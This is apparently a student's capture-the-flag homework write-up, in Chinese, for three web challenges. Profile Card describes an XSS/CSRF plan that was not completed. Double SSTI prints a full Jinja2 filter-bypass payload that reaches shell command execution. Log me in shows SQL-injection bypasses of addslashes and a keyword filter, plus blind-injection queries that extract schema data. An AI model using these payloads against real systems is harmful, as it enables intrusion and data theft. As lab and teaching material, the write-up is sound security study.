---
# System prepended metadata

title: 程式安全 Web Hw5 WriteUp

---

# 程式安全 Web Hw5 WriteUp

## [0x02] Profile Card [300]

原本架了一個惡意網頁試著去讓bot去fetch /flag的東西回來給我的ngrok，不過因為CSP的script-src : self，被擋下來惹，只能透過他的網域底下的腳本去對/flag做請求。因此推出大概流程應該是先 xss 他的 profile card 讓他從同個domain下去存取flag頁面再把responsen丟到我的ngrok上，再來利用 csrf 讓 xssbot 從我架的惡意網站送請求把 profile card 填入剛剛的 xss payload，使他觸發那段 xss code(他update的code是寫在/static/app.js，與profile card同源，因此應該可以呼叫)。

雖然後續架站，頁面都先弄好了，不過我卡在第一階段的 xss payload 找不到QQ，XSS cheat sheet 上的 payload 快被我全部試過一輪了還是沒有頭緒，~~倒是戳出了500 error~~。

## [0x02] Double SSTI [150]

首先檢查原始碼，發現`<a href="/source">Source code</a>`這行被註解掉了，就先來看一下/source檔，看到關鍵字 handlebars 很陌生，google了一下，簡單來說是一種模板語言。

根據原始碼，template有兩個東西可以輸出，但是上一行compile只有一個欄位，因此只會輸出name，並不會輸出後面隱藏的Secret。
```
const template = handlebars.compile(`<h1>Hello ${name}! SSTI me plz.</h1>`);
response.send(template({ name, secret }));
```

研究了一下 handlebars 語法，發現有個她有個神奇的語法 `#each` 語法可以試著將secret撈出來，因此試著輸入`{{#each this}} {{Alice}}{{this}} {{/each}}`後，成功撈出secret了!

![](https://i.imgur.com/Hhmt2Wu.png)
將secret帶到原始檔洩漏的/2nd_stage_$(secret)頁面後又是另一個新的輸入頁面，這個頁面沒有任何原始檔可以參考，但是一開始提供的原始檔有提到這是使用jinja套件。

試著輸入`{{7*7}}`會返回79，但是試著輸入`{{().__class__}}`會直接被判定為hacker，因此需要一些繞過的方法，稍微檢查了一下`_`、`[]`都被阻擋了。

參照這篇[refefence](https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f)提供的bypass方法

> _ => \x5f
> [] => __getitem__
> attr(obj,name)

因此當我輸入`{{()|attr('\x5f\x5fclass\x5f\x5f')}}`時，成功SSTI，最終拿到flag的RCE 程式碼如下
`
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(283)('cat /y000_i_am_za_fl4g',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}
`

## [0x02] Log me in: FINAL [200]

提示說要戳500 Error page，就試著戳了一下，發現輸入`\'`會成功戳出一個500頁面來，發現一小段原始碼，猜測是用Ruby撰寫的
![](https://i.imgur.com/QIgggAz.png)

> * Hash[]是一個Ruby內建的API可以把陣列轉成Hash型別
> * map()會將value做sqli_waf()處理後丟回來

簡單來說這段程式碼會將輸入以Sqli_waf()函數轉換出來再加上slashes去做查詢避免SQLI，但因為好像沒看到其他有關sqli_waf函數的程式碼就先不理她，找了一下繞過addslashes()函數的方法，主要有兩種

> 1. GBK繞過: mysql在使用GBK編碼時，會將2個字節當作一個漢字，因此輸入`%df%27`時，經過addslashes()會變成`%df%5c%27`，這時`%df%5c`就會被當成一個漢字處理，使得`%27(單引號)`成功繞過
> 2. slash加在特殊符號前，會使得特殊符號無意義，僅當成一般字符輸入做處理，因此\'會使單引號失效，那我們在前面再加一個slash就會使得slash失效，解讀為`\\`、`'`兩部分。

首先先用GBK方法戳了一下，發現了一個新的500 error page，成功戳出sqli_waf()的原始碼!
![](https://i.imgur.com/6LRn7yu.png)
> gsub()函數就是將字串中含有的第一個參數轉換為第二個參數，所以我們輸入的or跟=都會被轉換成空字串

根據上面這些字串，找了一些繞過的方法
1. union => UNIunionON / select => SELselectECT / where => WHEwhhereRE
2. and、or => &&、||
3. = => like
4. 'admin' => CHAR(97, 100, 109, 105, 110)
5. 空白 => /**/

因此當我輸入`\'||3>2#`就成功登入了，只不過沒什麼東西。接著試著遠端連了一下db，不過都失敗，應該是沒有特地開啟(預設關閉)，最後只好做blind SQLI了QQ

`\'||length(user())>0#`因為||前是false，所以對錯看OR後面的運算，若對了就會進到welcome的頁面，反之則不是，用這個邏輯去盲拆password。


![](https://i.imgur.com/5OoEt6q.png)
寫了個簡單的script跑了一下，試著抓length(password>6)的密碼出來，用兩個迴圈分別去暴力解第i個位置，ascii code為j值。結果被告知FLAG在另外一個tableQQ

只好乖乖的分別是猜table、column的值，不過因為script大同小異，差別在於指令，這邊就只放指令上來。
* Table
`'\'||/**/ascii(mid((SELselectECT/**/group_concat(table_name)/**/FROM/**/infoorrmation_schema.tables/**/WHEwhereRE/**/table_schema/**/like/**/CHAR(100,98)),'+str(i)+',1))>'+str(j)+'#'`

* Column
`'\'||/**/ascii(mid((SELselectECT/**/group_concat(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHEwhereRE/**/table_schema/**/like/**/CHAR(100,98)),'+str(i)+',1))>'+str(j)+'#'`

得到`Table name:h3y_here_15_the_flag_y0u_w4nt,meow,flag`、`Column name:i_4m_th3_fl4g`

因為Table name有逗號，所以要用反引號括起來，~~結果這邊卡了最久~~QQ，最後再去跑script，就成功拿到了!!
